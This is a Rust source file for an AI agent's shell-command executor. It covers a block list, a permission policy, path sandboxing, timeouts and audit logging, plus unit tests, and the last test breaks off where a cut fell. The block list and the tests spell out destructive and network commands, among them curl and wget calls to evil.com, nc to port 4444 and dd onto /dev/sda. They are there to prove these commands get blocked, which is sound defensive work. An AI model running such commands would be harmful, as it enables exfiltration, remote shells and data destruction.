1use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use crate::audit::{AuditEntry, AuditLogger, AuditResult};
14use crate::config::ShellConfig;
15use crate::executor::{
16 FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
17};
18use crate::filter::{OutputFilterRegistry, sanitize_output};
19use crate::permissions::{PermissionAction, PermissionPolicy};
20
21const DEFAULT_BLOCKED: &[&str] = &[
22 "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
23 "reboot", "halt",
24];
25
26const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
27
28#[derive(Deserialize, JsonSchema)]
29pub(crate) struct BashParams {
30 command: String,
32}
33
34#[derive(Debug)]
36pub struct ShellExecutor {
37 timeout: Duration,
38 blocked_commands: Vec<String>,
39 allowed_paths: Vec<PathBuf>,
40 confirm_patterns: Vec<String>,
41 audit_logger: Option<AuditLogger>,
42 tool_event_tx: Option<ToolEventTx>,
43 permission_policy: Option<PermissionPolicy>,
44 output_filter_registry: Option<OutputFilterRegistry>,
45 cancel_token: Option<CancellationToken>,
46 skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
47}
48
49impl ShellExecutor {
50 #[must_use]
51 pub fn new(config: &ShellConfig) -> Self {
52 let allowed: Vec<String> = config
53 .allowed_commands
54 .iter()
55 .map(|s| s.to_lowercase())
56 .collect();
57
58 let mut blocked: Vec<String> = DEFAULT_BLOCKED
59 .iter()
60 .filter(|s| !allowed.contains(&s.to_lowercase()))
61 .map(|s| (*s).to_owned())
62 .collect();
63 blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
64
65 if !config.allow_network {
66 for cmd in NETWORK_COMMANDS {
67 let lower = cmd.to_lowercase();
68 if !blocked.contains(&lower) {
69 blocked.push(lower);
70 }
71 }
72 }
73
74 blocked.sort();
75 blocked.dedup();
76
77 let allowed_paths = if config.allowed_paths.is_empty() {
78 vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
79 } else {
80 config.allowed_paths.iter().map(PathBuf::from).collect()
81 };
82
83 Self {
84 timeout: Duration::from_secs(config.timeout),
85 blocked_commands: blocked,
86 allowed_paths,
87 confirm_patterns: config.confirm_patterns.clone(),
88 audit_logger: None,
89 tool_event_tx: None,
90 permission_policy: None,
91 output_filter_registry: None,
92 cancel_token: None,
93 skill_env: std::sync::RwLock::new(None),
94 }
95 }
96
97 pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
99 match self.skill_env.write() {
100 Ok(mut guard) => *guard = env,
101 Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
102 }
103 }
104
105 #[must_use]
106 pub fn with_audit(mut self, logger: AuditLogger) -> Self {
107 self.audit_logger = Some(logger);
108 self
109 }
110
111 #[must_use]
112 pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
113 self.tool_event_tx = Some(tx);
114 self
115 }
116
117 #[must_use]
118 pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
119 self.permission_policy = Some(policy);
120 self
121 }
122
123 #[must_use]
124 pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
125 self.cancel_token = Some(token);
126 self
127 }
128
129 #[must_use]
130 pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
131 self.output_filter_registry = Some(registry);
132 self
133 }
134
135 pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
141 self.execute_inner(response, true).await
142 }
143
144 #[allow(clippy::too_many_lines)]
145 async fn execute_inner(
146 &self,
147 response: &str,
148 skip_confirm: bool,
149 ) -> Result<Option<ToolOutput>, ToolError> {
150 let blocks = extract_bash_blocks(response);
151 if blocks.is_empty() {
152 return Ok(None);
153 }
154
155 let mut outputs = Vec::with_capacity(blocks.len());
156 let mut cumulative_filter_stats: Option<FilterStats> = None;
157 #[allow(clippy::cast_possible_truncation)]
158 let blocks_executed = blocks.len() as u32;
159
160 for block in &blocks {
161 if let Some(ref policy) = self.permission_policy {
162 match policy.check("bash", block) {
163 PermissionAction::Deny => {
164 self.log_audit(
165 block,
166 AuditResult::Blocked {
167 reason: "denied by permission policy".to_owned(),
168 },
169 0,
170 )
171 .await;
172 return Err(ToolError::Blocked {
173 command: (*block).to_owned(),
174 });
175 }
176 PermissionAction::Ask if !skip_confirm => {
177 return Err(ToolError::ConfirmationRequired {
178 command: (*block).to_owned(),
179 });
180 }
181 _ => {}
182 }
183 } else {
184 if let Some(blocked) = self.find_blocked_command(block) {
185 self.log_audit(
186 block,
187 AuditResult::Blocked {
188 reason: format!("blocked command: {blocked}"),
189 },
190 0,
191 )
192 .await;
193 return Err(ToolError::Blocked {
194 command: blocked.to_owned(),
195 });
196 }
197
198 if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
199 return Err(ToolError::ConfirmationRequired {
200 command: pattern.to_owned(),
201 });
202 }
203 }
204
205 self.validate_sandbox(block)?;
206
207 if let Some(ref tx) = self.tool_event_tx {
208 let _ = tx.send(ToolEvent::Started {
209 tool_name: "bash".to_owned(),
210 command: (*block).to_owned(),
211 });
212 }
213
214 let start = Instant::now();
215 let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
216 self.skill_env.read().ok().and_then(|g| g.clone());
217 let (out, exit_code) = execute_bash(
218 block,
219 self.timeout,
220 self.tool_event_tx.as_ref(),
221 self.cancel_token.as_ref(),
222 skill_env_snapshot.as_ref(),
223 )
224 .await;
225 if exit_code == 130
226 && self
227 .cancel_token
228 .as_ref()
229 .is_some_and(CancellationToken::is_cancelled)
230 {
231 return Err(ToolError::Cancelled);
232 }
233 #[allow(clippy::cast_possible_truncation)]
234 let duration_ms = start.elapsed().as_millis() as u64;
235
236 let result = if out.contains("[error]") {
237 AuditResult::Error {
238 message: out.clone(),
239 }
240 } else if out.contains("timed out") {
241 AuditResult::Timeout
242 } else {
243 AuditResult::Success
244 };
245 self.log_audit(block, result, duration_ms).await;
246
247 let sanitized = sanitize_output(&out);
248 let mut per_block_stats: Option<FilterStats> = None;
249 let filtered = if let Some(ref registry) = self.output_filter_registry {
250 match registry.apply(block, &sanitized, exit_code) {
251 Some(fr) => {
252 tracing::debug!(
253 command = block,
254 raw = fr.raw_chars,
255 filtered = fr.filtered_chars,
256 savings_pct = fr.savings_pct(),
257 "output filter applied"
258 );
259 let block_fs = FilterStats {
260 raw_chars: fr.raw_chars,
261 filtered_chars: fr.filtered_chars,
262 raw_lines: fr.raw_lines,
263 filtered_lines: fr.filtered_lines,
264 confidence: Some(fr.confidence),
265 command: Some((*block).to_owned()),
266 kept_lines: fr.kept_lines.clone(),
267 };
268 let stats =
269 cumulative_filter_stats.get_or_insert_with(FilterStats::default);
270 stats.raw_chars += fr.raw_chars;
271 stats.filtered_chars += fr.filtered_chars;
272 stats.raw_lines += fr.raw_lines;
273 stats.filtered_lines += fr.filtered_lines;
274 stats.confidence = Some(match (stats.confidence, fr.confidence) {
275 (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
276 (None, cur) => cur,
277 });
278 if stats.command.is_none() {
279 stats.command = Some((*block).to_owned());
280 }
281 if stats.kept_lines.is_empty() && !fr.kept_lines.is_empty() {
282 stats.kept_lines.clone_from(&fr.kept_lines);
283 }
284 per_block_stats = Some(block_fs);
285 fr.output
286 }
287 None => sanitized,
288 }
289 } else {
290 sanitized
291 };
292
293 if let Some(ref tx) = self.tool_event_tx {
294 let _ = tx.send(ToolEvent::Completed {
295 tool_name: "bash".to_owned(),
296 command: (*block).to_owned(),
297 output: out.clone(),
298 success: !out.contains("[error]"),
299 filter_stats: per_block_stats,
300 diff: None,
301 });
302 }
303 outputs.push(format!("$ {block}\n{filtered}"));
304 }
305
306 Ok(Some(ToolOutput {
307 tool_name: "bash".to_owned(),
308 summary: outputs.join("\n\n"),
309 blocks_executed,
310 filter_stats: cumulative_filter_stats,
311 diff: None,
312 streamed: self.tool_event_tx.is_some(),
313 terminal_id: None,
314 locations: None,
315 }))
316 }
317
318 fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
319 let cwd = std::env::current_dir().unwrap_or_default();
320
321 for token in extract_paths(code) {
322 if has_traversal(&token) {
323 return Err(ToolError::SandboxViolation { path: token });
324 }
325
326 let path = if token.starts_with('/') {
327 PathBuf::from(&token)
328 } else {
329 cwd.join(&token)
330 };
331 let canonical = path
332 .canonicalize()
333 .or_else(|_| std::path::absolute(&path))
334 .unwrap_or(path);
335 if !self
336 .allowed_paths
337 .iter()
338 .any(|allowed| canonical.starts_with(allowed))
339 {
340 return Err(ToolError::SandboxViolation {
341 path: canonical.display().to_string(),
342 });
343 }
344 }
345 Ok(())
346 }
347
348 fn find_blocked_command(&self, code: &str) -> Option<&str> {
386 let cleaned = strip_shell_escapes(&code.to_lowercase());
387 let commands = tokenize_commands(&cleaned);
388 for blocked in &self.blocked_commands {
389 for cmd_tokens in &commands {
390 if tokens_match_pattern(cmd_tokens, blocked) {
391 return Some(blocked.as_str());
392 }
393 }
394 }
395 None
396 }
397
398 fn find_confirm_command(&self, code: &str) -> Option<&str> {
399 let normalized = code.to_lowercase();
400 for pattern in &self.confirm_patterns {
401 if normalized.contains(pattern.as_str()) {
402 return Some(pattern.as_str());
403 }
404 }
405 None
406 }
407
408 async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
409 if let Some(ref logger) = self.audit_logger {
410 let entry = AuditEntry {
411 timestamp: chrono_now(),
412 tool: "shell".into(),
413 command: command.into(),
414 result,
415 duration_ms,
416 };
417 logger.log(&entry).await;
418 }
419 }
420}
421
422impl ToolExecutor for ShellExecutor {
423 async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
424 self.execute_inner(response, false).await
425 }
426
427 fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
428 use crate::registry::{InvocationHint, ToolDef};
429 vec![ToolDef {
430 id: "bash".into(),
431 description: "Execute a shell command".into(),
432 schema: schemars::schema_for!(BashParams),
433 invocation: InvocationHint::FencedBlock("bash"),
434 }]
435 }
436
437 async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
438 if call.tool_id != "bash" {
439 return Ok(None);
440 }
441 let params: BashParams = crate::executor::deserialize_params(&call.params)?;
442 if params.command.is_empty() {
443 return Ok(None);
444 }
445 let command = ¶ms.command;
446 let synthetic = format!("```bash\n{command}\n```");
448 self.execute_inner(&synthetic, false).await
449 }
450
451 fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
452 ShellExecutor::set_skill_env(self, env);
453 }
454}
455
456fn strip_shell_escapes(input: &str) -> String {
460 let mut out = String::with_capacity(input.len());
461 let bytes = input.as_bytes();
462 let mut i = 0;
463 while i < bytes.len() {
464 if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
466 let mut j = i + 2; let mut decoded = String::new();
468 let mut valid = false;
469 while j < bytes.len() && bytes[j] != b'\'' {
470 if bytes[j] == b'\\' && j + 1 < bytes.len() {
471 let next = bytes[j + 1];
472 if next == b'x' && j + 3 < bytes.len() {
473 let hi = (bytes[j + 2] as char).to_digit(16);
475 let lo = (bytes[j + 3] as char).to_digit(16);
476 if let (Some(h), Some(l)) = (hi, lo) {
477 #[allow(clippy::cast_possible_truncation)]
478 let byte = ((h << 4) | l) as u8;
479 decoded.push(byte as char);
480 j += 4;
481 valid = true;
482 continue;
483 }
484 } else if next.is_ascii_digit() {
485 let mut val = u32::from(next - b'0');
487 let mut len = 2; if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
489 val = val * 8 + u32::from(bytes[j + 2] - b'0');
490 len = 3;
491 if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
492 val = val * 8 + u32::from(bytes[j + 3] - b'0');
493 len = 4;
494 }
495 }
496 #[allow(clippy::cast_possible_truncation)]
497 decoded.push((val & 0xFF) as u8 as char);
498 j += len;
499 valid = true;
500 continue;
501 }
502 decoded.push(next as char);
504 j += 2;
505 } else {
506 decoded.push(bytes[j] as char);
507 j += 1;
508 }
509 }
510 if j < bytes.len() && bytes[j] == b'\'' && valid {
511 out.push_str(&decoded);
512 i = j + 1;
513 continue;
514 }
515 }
517 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
519 i += 2;
520 continue;
521 }
522 if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
524 i += 1;
525 out.push(bytes[i] as char);
526 i += 1;
527 continue;
528 }
529 if bytes[i] == b'"' || bytes[i] == b'\'' {
531 let quote = bytes[i];
532 i += 1;
533 while i < bytes.len() && bytes[i] != quote {
534 out.push(bytes[i] as char);
535 i += 1;
536 }
537 if i < bytes.len() {
538 i += 1; }
540 continue;
541 }
542 out.push(bytes[i] as char);
543 i += 1;
544 }
545 out
546}
547
548fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
551 let replaced = normalized.replace("||", "\n").replace("&&", "\n");
553 replaced
554 .split([';', '|', '\n'])
555 .map(|seg| {
556 seg.split_whitespace()
557 .map(str::to_owned)
558 .collect::<Vec<String>>()
559 })
560 .filter(|tokens| !tokens.is_empty())
561 .collect()
562}
563
564const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
567
568fn cmd_basename(tok: &str) -> &str {
570 tok.rsplit('/').next().unwrap_or(tok)
571}
572
573fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
580 if tokens.is_empty() || pattern.is_empty() {
581 return false;
582 }
583 let pattern = pattern.trim();
584 let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
585 if pattern_tokens.is_empty() {
586 return false;
587 }
588
589 let start = tokens
591 .iter()
592 .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
593 .unwrap_or(0);
594 let effective = &tokens[start..];
595 if effective.is_empty() {
596 return false;
597 }
598
599 if pattern_tokens.len() == 1 {
600 let pat = pattern_tokens[0];
601 let base = cmd_basename(&effective[0]);
602 base == pat || base.starts_with(&format!("{pat}."))
604 } else {
605 let n = pattern_tokens.len().min(effective.len());
607 let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
608 parts.extend(effective[1..n].iter().map(String::as_str));
609 let joined = parts.join(" ");
610 if joined.starts_with(pattern) {
611 return true;
612 }
613 if effective.len() > n {
614 let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
615 parts2.extend(effective[1..=n].iter().map(String::as_str));
616 parts2.join(" ").starts_with(pattern)
617 } else {
618 false
619 }
620 }
621}
622
623fn extract_paths(code: &str) -> Vec<String> {
624 let mut result = Vec::new();
625
626 let mut tokens: Vec<String> = Vec::new();
628 let mut current = String::new();
629 let mut chars = code.chars().peekable();
630 while let Some(c) = chars.next() {
631 match c {
632 '"' | '\'' => {
633 let quote = c;
634 while let Some(&nc) = chars.peek() {
635 if nc == quote {
636 chars.next();
637 break;
638 }
639 current.push(chars.next().unwrap());
640 }
641 }
642 c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
643 if !current.is_empty() {
644 tokens.push(std::mem::take(&mut current));
645 }
646 }
647 _ => current.push(c),
648 }
649 }
650 if !current.is_empty() {
651 tokens.push(current);
652 }
653
654 for token in tokens {
655 let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
656 if trimmed.is_empty() {
657 continue;
658 }
659 if trimmed.starts_with('/')
660 || trimmed.starts_with("./")
661 || trimmed.starts_with("../")
662 || trimmed == ".."
663 {
664 result.push(trimmed);
665 }
666 }
667 result
668}
669
670fn has_traversal(path: &str) -> bool {
671 path.split('/').any(|seg| seg == "..")
672}
673
674fn extract_bash_blocks(text: &str) -> Vec<&str> {
675 crate::executor::extract_fenced_blocks(text, "bash")
676}
677
678fn chrono_now() -> String {
679 use std::time::{SystemTime, UNIX_EPOCH};
680 let secs = SystemTime::now()
681 .duration_since(UNIX_EPOCH)
682 .unwrap_or_default()
683 .as_secs();
684 format!("{secs}")
685}
686
687async fn kill_process_tree(child: &mut tokio::process::Child) {
691 #[cfg(unix)]
692 if let Some(pid) = child.id() {
693 let _ = Command::new("pkill")
694 .args(["-KILL", "-P", &pid.to_string()])
695 .status()
696 .await;
697 }
698 let _ = child.kill().await;
699}
700
701async fn execute_bash(
702 code: &str,
703 timeout: Duration,
704 event_tx: Option<&ToolEventTx>,
705 cancel_token: Option<&CancellationToken>,
706 extra_env: Option<&std::collections::HashMap<String, String>>,
707) -> (String, i32) {
708 use std::process::Stdio;
709 use tokio::io::{AsyncBufReadExt, BufReader};
710
711 let timeout_secs = timeout.as_secs();
712
713 let mut cmd = Command::new("bash");
714 cmd.arg("-c")
715 .arg(code)
716 .stdout(Stdio::piped())
717 .stderr(Stdio::piped());
718 if let Some(env) = extra_env {
719 cmd.envs(env);
720 }
721 let child_result = cmd.spawn();
722
723 let mut child = match child_result {
724 Ok(c) => c,
725 Err(e) => return (format!("[error] {e}"), 1),
726 };
727
728 let stdout = child.stdout.take().expect("stdout piped");
729 let stderr = child.stderr.take().expect("stderr piped");
730
731 let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
732
733 let stdout_tx = line_tx.clone();
734 tokio::spawn(async move {
735 let mut reader = BufReader::new(stdout);
736 let mut buf = String::new();
737 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
738 let _ = stdout_tx.send(buf.clone()).await;
739 buf.clear();
740 }
741 });
742
743 tokio::spawn(async move {
744 let mut reader = BufReader::new(stderr);
745 let mut buf = String::new();
746 while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
747 let _ = line_tx.send(format!("[stderr] {buf}")).await;
748 buf.clear();
749 }
750 });
751
752 let mut combined = String::new();
753 let deadline = tokio::time::Instant::now() + timeout;
754
755 loop {
756 tokio::select! {
757 line = line_rx.recv() => {
758 match line {
759 Some(chunk) => {
760 if let Some(tx) = event_tx {
761 let _ = tx.send(ToolEvent::OutputChunk {
762 tool_name: "bash".to_owned(),
763 command: code.to_owned(),
764 chunk: chunk.clone(),
765 });
766 }
767 combined.push_str(&chunk);
768 }
769 None => break,
770 }
771 }
772 () = tokio::time::sleep_until(deadline) => {
773 kill_process_tree(&mut child).await;
774 return (format!("[error] command timed out after {timeout_secs}s"), 1);
775 }
776 () = async {
777 match cancel_token {
778 Some(t) => t.cancelled().await,
779 None => std::future::pending().await,
780 }
781 } => {
782 kill_process_tree(&mut child).await;
783 return ("[cancelled] operation aborted".to_string(), 130);
784 }
785 }
786 }
787
788 let status = child.wait().await;
789 let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
790
791 if combined.is_empty() {
792 ("(no output)".to_string(), exit_code)
793 } else {
794 (combined, exit_code)
795 }
796}
797
798#[cfg(test)]
799mod tests {
800 use super::*;
801
802 fn default_config() -> ShellConfig {
803 ShellConfig {
804 timeout: 30,
805 blocked_commands: Vec::new(),
806 allowed_commands: Vec::new(),
807 allowed_paths: Vec::new(),
808 allow_network: true,
809 confirm_patterns: Vec::new(),
810 }
811 }
812
813 fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
814 ShellConfig {
815 allowed_paths,
816 ..default_config()
817 }
818 }
819
820 #[test]
821 fn extract_single_bash_block() {
822 let text = "Here is code:\n```bash\necho hello\n```\nDone.";
823 let blocks = extract_bash_blocks(text);
824 assert_eq!(blocks, vec!["echo hello"]);
825 }
826
827 #[test]
828 fn extract_multiple_bash_blocks() {
829 let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
830 let blocks = extract_bash_blocks(text);
831 assert_eq!(blocks, vec!["ls", "pwd"]);
832 }
833
834 #[test]
835 fn ignore_non_bash_blocks() {
836 let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
837 let blocks = extract_bash_blocks(text);
838 assert_eq!(blocks, vec!["echo hi"]);
839 }
840
841 #[test]
842 fn no_blocks_returns_none() {
843 let text = "Just plain text, no code blocks.";
844 let blocks = extract_bash_blocks(text);
845 assert!(blocks.is_empty());
846 }
847
848 #[test]
849 fn unclosed_block_ignored() {
850 let text = "```bash\necho hello";
851 let blocks = extract_bash_blocks(text);
852 assert!(blocks.is_empty());
853 }
854
855 #[tokio::test]
856 #[cfg(not(target_os = "windows"))]
857 async fn execute_simple_command() {
858 let (result, code) =
859 execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
860 assert!(result.contains("hello"));
861 assert_eq!(code, 0);
862 }
863
864 #[tokio::test]
865 #[cfg(not(target_os = "windows"))]
866 async fn execute_stderr_output() {
867 let (result, _) =
868 execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
869 assert!(result.contains("[stderr]"));
870 assert!(result.contains("err"));
871 }
872
873 #[tokio::test]
874 #[cfg(not(target_os = "windows"))]
875 async fn execute_stdout_and_stderr_combined() {
876 let (result, _) = execute_bash(
877 "echo out && echo err >&2",
878 Duration::from_secs(30),
879 None,
880 None,
881 None,
882 )
883 .await;
884 assert!(result.contains("out"));
885 assert!(result.contains("[stderr]"));
886 assert!(result.contains("err"));
887 assert!(result.contains('\n'));
888 }
889
890 #[tokio::test]
891 #[cfg(not(target_os = "windows"))]
892 async fn execute_empty_output() {
893 let (result, code) = execute_bash("true", Duration::from_secs(30), None, None, None).await;
894 assert_eq!(result, "(no output)");
895 assert_eq!(code, 0);
896 }
897
898 #[tokio::test]
899 async fn blocked_command_rejected() {
900 let config = ShellConfig {
901 blocked_commands: vec!["rm -rf /".to_owned()],
902 ..default_config()
903 };
904 let executor = ShellExecutor::new(&config);
905 let response = "Run:\n```bash\nrm -rf /\n```";
906 let result = executor.execute(response).await;
907 assert!(matches!(result, Err(ToolError::Blocked { .. })));
908 }
909
910 #[tokio::test]
911 #[cfg(not(target_os = "windows"))]
912 async fn timeout_enforced() {
913 let config = ShellConfig {
914 timeout: 1,
915 ..default_config()
916 };
917 let executor = ShellExecutor::new(&config);
918 let response = "Run:\n```bash\nsleep 60\n```";
919 let result = executor.execute(response).await;
920 assert!(result.is_ok());
921 let output = result.unwrap().unwrap();
922 assert!(output.summary.contains("timed out"));
923 }
924
925 #[tokio::test]
926 async fn execute_no_blocks_returns_none() {
927 let executor = ShellExecutor::new(&default_config());
928 let result = executor.execute("plain text, no blocks").await;
929 assert!(result.is_ok());
930 assert!(result.unwrap().is_none());
931 }
932
933 #[tokio::test]
934 async fn execute_multiple_blocks_counted() {
935 let executor = ShellExecutor::new(&default_config());
936 let response = "```bash\necho one\n```\n```bash\necho two\n```";
937 let result = executor.execute(response).await;
938 let output = result.unwrap().unwrap();
939 assert_eq!(output.blocks_executed, 2);
940 assert!(output.summary.contains("one"));
941 assert!(output.summary.contains("two"));
942 }
943
944 #[test]
947 fn default_blocked_always_active() {
948 let executor = ShellExecutor::new(&default_config());
949 assert!(executor.find_blocked_command("rm -rf /").is_some());
950 assert!(executor.find_blocked_command("sudo apt install").is_some());
951 assert!(
952 executor
953 .find_blocked_command("mkfs.ext4 /dev/sda")
954 .is_some()
955 );
956 assert!(
957 executor
958 .find_blocked_command("dd if=/dev/zero of=disk")
959 .is_some()
960 );
961 }
962
963 #[test]
964 fn user_blocked_additive() {
965 let config = ShellConfig {
966 blocked_commands: vec!["custom-danger".to_owned()],
967 ..default_config()
968 };
969 let executor = ShellExecutor::new(&config);
970 assert!(executor.find_blocked_command("sudo rm").is_some());
971 assert!(
972 executor
973 .find_blocked_command("custom-danger script")
974 .is_some()
975 );
976 }
977
978 #[test]
979 fn blocked_prefix_match() {
980 let executor = ShellExecutor::new(&default_config());
981 assert!(executor.find_blocked_command("rm -rf /home/user").is_some());
982 }
983
984 #[test]
985 fn blocked_infix_match() {
986 let executor = ShellExecutor::new(&default_config());
987 assert!(
988 executor
989 .find_blocked_command("echo hello && sudo rm")
990 .is_some()
991 );
992 }
993
994 #[test]
995 fn blocked_case_insensitive() {
996 let executor = ShellExecutor::new(&default_config());
997 assert!(executor.find_blocked_command("SUDO apt install").is_some());
998 assert!(executor.find_blocked_command("Sudo apt install").is_some());
999 assert!(executor.find_blocked_command("SuDo apt install").is_some());
1000 assert!(
1001 executor
1002 .find_blocked_command("MKFS.ext4 /dev/sda")
1003 .is_some()
1004 );
1005 assert!(executor.find_blocked_command("DD IF=/dev/zero").is_some());
1006 assert!(executor.find_blocked_command("RM -RF /").is_some());
1007 }
1008
1009 #[test]
1010 fn safe_command_passes() {
1011 let executor = ShellExecutor::new(&default_config());
1012 assert!(executor.find_blocked_command("echo hello").is_none());
1013 assert!(executor.find_blocked_command("ls -la").is_none());
1014 assert!(executor.find_blocked_command("cat file.txt").is_none());
1015 assert!(executor.find_blocked_command("cargo build").is_none());
1016 }
1017
1018 #[test]
1019 fn partial_match_accepted_tradeoff() {
1020 let executor = ShellExecutor::new(&default_config());
1021 assert!(executor.find_blocked_command("sudoku").is_none());
1023 }
1024
1025 #[test]
1026 fn multiline_command_blocked() {
1027 let executor = ShellExecutor::new(&default_config());
1028 assert!(executor.find_blocked_command("echo ok\nsudo rm").is_some());
1029 }
1030
1031 #[test]
1032 fn dd_pattern_blocks_dd_if() {
1033 let executor = ShellExecutor::new(&default_config());
1034 assert!(
1035 executor
1036 .find_blocked_command("dd if=/dev/zero of=/dev/sda")
1037 .is_some()
1038 );
1039 }
1040
1041 #[test]
1042 fn mkfs_pattern_blocks_variants() {
1043 let executor = ShellExecutor::new(&default_config());
1044 assert!(
1045 executor
1046 .find_blocked_command("mkfs.ext4 /dev/sda")
1047 .is_some()
1048 );
1049 assert!(executor.find_blocked_command("mkfs.xfs /dev/sdb").is_some());
1050 }
1051
1052 #[test]
1053 fn empty_command_not_blocked() {
1054 let executor = ShellExecutor::new(&default_config());
1055 assert!(executor.find_blocked_command("").is_none());
1056 }
1057
1058 #[test]
1059 fn duplicate_patterns_deduped() {
1060 let config = ShellConfig {
1061 blocked_commands: vec!["sudo".to_owned(), "sudo".to_owned()],
1062 ..default_config()
1063 };
1064 let executor = ShellExecutor::new(&config);
1065 let count = executor
1066 .blocked_commands
1067 .iter()
1068 .filter(|c| c.as_str() == "sudo")
1069 .count();
1070 assert_eq!(count, 1);
1071 }
1072
1073 #[tokio::test]
1074 async fn execute_default_blocked_returns_error() {
1075 let executor = ShellExecutor::new(&default_config());
1076 let response = "Run:\n```bash\nsudo rm -rf /tmp\n```";
1077 let result = executor.execute(response).await;
1078 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1079 }
1080
1081 #[tokio::test]
1082 async fn execute_case_insensitive_blocked() {
1083 let executor = ShellExecutor::new(&default_config());
1084 let response = "Run:\n```bash\nSUDO apt install foo\n```";
1085 let result = executor.execute(response).await;
1086 assert!(matches!(result, Err(ToolError::Blocked { .. })));
1087 }
1088
1089 #[test]
1092 fn network_exfiltration_blocked() {
1093 let executor = ShellExecutor::new(&default_config());
1094 assert!(
1095 executor
1096 .find_blocked_command("curl https://evil.com")
1097 .is_some()
1098 );
1099 assert!(
1100 executor
1101 .find_blocked_command("wget http://evil.com/payload")
1102 .is_some()
1103 );
1104 assert!(executor.find_blocked_command("nc 10.0.0.1 4444").is_some());
1105 assert!(
1106 executor
1107 .find_blocked_command("ncat --listen 8080")
1108 .is_some()
1109 );
1110 assert!(executor.find_blocked_command("netcat -lvp 9999").is_some());
1111 }
1112
1113 #[test]
1114 fn system_control_blocked() {
1115 let executor = ShellExecutor::new(&default_config());
1116 assert!(executor.find_blocked_command("shutdown -h now").is_some());
1117 assert!(executor.find_blocked_command("reboot").is_some());
1118 assert!(executor.find_blocked_command("halt").is_some());
1119 }
1120
1121 #[test]
1122 fn nc_trailing_space_avoids_ncp() {
1123 let executor = ShellExecutor::new(&default_config());
1124 assert!(executor.find_blocked_command("ncp file.txt").is_none());
1125 }
1126
1127 #[test]
1130 fn mixed_case_user_patterns_deduped() {
1131 let config = ShellConfig {
1132 blocked_commands: vec!["Sudo".to_owned(), "sudo".to_owned(), "SUDO".to_owned()],
1133 ..default_config()
1134 };
1135 let executor = ShellExecutor::new(&config);
1136 let count = executor
1137 .blocked_commands
1138 .iter()
1139 .filter(|c| c.as_str() == "sudo")
1140 .count();
1141 assert_eq!(count, 1);
1142 }
1143
1144 #[test]
1145 fn user_pattern_stored_lowercase() {
1146 let config = ShellConfig {
1147 blocked_commands: vec!["MyCustom".to_owned()],
1148 ..default_config()
1149 };
1150 let executor = ShellExecutor::new(&config);
1151 assert!(executor.blocked_commands.iter().any(|c| c == "mycustom"));
1152 assert!(!executor.blocked_commands.iter().any(|c| c == "MyCustom"));
1153 }
1154
1155 #[test]
1158 fn allowed_commands_removes_from_default() {
1159 let config = ShellConfig {
1160 allowed_commands: vec!["curl".to_owned()],
1161 ..default_config()
1162 };
1163 let executor = ShellExecutor::new(&config);
1164 assert!(
1165 executor
1166 .find_blocked_command("curl https://example.com")
1167 .is_none()
1168 );
1169 assert!(executor.find_blocked_command("sudo rm").is_some());
1170 }
1171
1172 #[test]
1173 fn allowed_commands_case_insensitive() {
1174 let config = ShellConfig {
1175 allowed_commands: vec!["CURL".to_owned()],
1176 ..default_config()
1177 };
1178 let executor = ShellExecutor::new(&config);
1179 assert!(
1180 executor
1181 .find_blocked_command("curl https://example.com")
1182 .is_none()
1183 );
1184 }
1185
1186 #[test]
1187 fn allowed_does_not_override_explicit_block() {
1188 let config = ShellConfig {
1189 blocked_commands: vec!["curl".to_owned()],
1190 allowed_commands: vec!["curl".to_owned()],
1191 ..default_config()
1192 };
1193 let executor = ShellExecutor::new(&config);
1194 assert!(
1195 executor
1196 .find_blocked_command("curl https://example.com")
1197 .is_some()
